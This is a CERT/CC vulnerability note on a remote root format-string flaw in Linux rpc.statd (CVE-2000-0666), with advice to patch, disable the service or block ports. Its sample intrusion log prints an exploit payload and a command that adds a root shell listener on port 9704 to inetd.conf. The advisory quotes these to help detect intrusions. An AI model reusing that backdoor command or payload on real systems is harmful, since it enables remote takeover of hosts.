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rpc.statd vulnerable to remote root compromise via format string stack overwrite

Vulnerability Note VU#34043

Original Release Date: 2000-10-30 | Last Revised: 2000-11-29

Overview

The CERT/CC has begun receiving reports of an input validation vulnerability in the rpc.statd program being exploited. This program is included, and often installed by default, in several popular Linux distributions. Please see the vendors section of this document for specific information regarding affected distributions.

More information about this vulnerability is available at the following public URLs:


The rpc.statd program passes user-supplied data to the syslog() function as a format string. If there is no input validation of this string, a malicious user can inject machine code to be executed with the privileges of the rpc.statd process, typically root.\t\t

Description

Intruder Activity
The following is an example log message from a compromised system illustrating the rpc.statd exploit occurring:

Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname
containing '/': ^D^D^E^E^F
^F^G^G08049f10
bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f
20656d61 746e6f63 696e6961 2720676e 203a272f
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000bffff7
0400000000000000000000000000000000000000000000000bffff7050000bffff70600000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000bffff707K^v

^( ^ ^.  #^
1
F'F* FF+,
NV1@/bin
/sh -c echo 9704 stream tcp
nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd

If you see log entries similar to those above, we suggest you examine your system for signs of intrusion by following the steps outlined in our Intruder Detection Checklist. If you believe your host has been compromised, please follow our Steps for Recovering From a Root Compromise. Please check our Current Activity page for updates regarding intruder activity.

Impact

By exploiting this vulnerability, local or remote users may be able to execute arbitrary code with the privileges of the rpc.statd process, typically root.

Solution


Upgrade your version of rpc.statd
Please see the vendors section of this document for more information about the availability of program updates specific to your system. If you are running a vulnerable version of rpc.statd, the CERT/CC encourages you to apply appropriate vendor patches. After making any updates, be sure to restart the rpc.statd service.

Disable the rpc.statd service
If an update cannot be applied, the CERT/CC recommends disabling the rpc.statd service. We advise proceeding with caution, however, as disabling this process can interfere with NFS functionality.

Block unneeded ports at your firewall
As a good security practice in general, the CERT/CC recommends blocking unneeded ports at your firewall. This option does not remedy the vulnerability, but does prevent outside intruders from exploiting it. In particular, block port 111 (portmapper), as well as the port on which rpc.statd is running, which may vary.

Vendor Information

34043
 
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References

Acknowledgements

This document was written by John Shaffer and Brian King.

Other Information

CVE IDs: CVE-2000-0666
CERT Advisory: CA-2000-17
Date Public: 2000-07-16
Date First Published: 2000-10-30
Date Last Updated: 2000-11-29 16:44 UTC
Document Revision: 9

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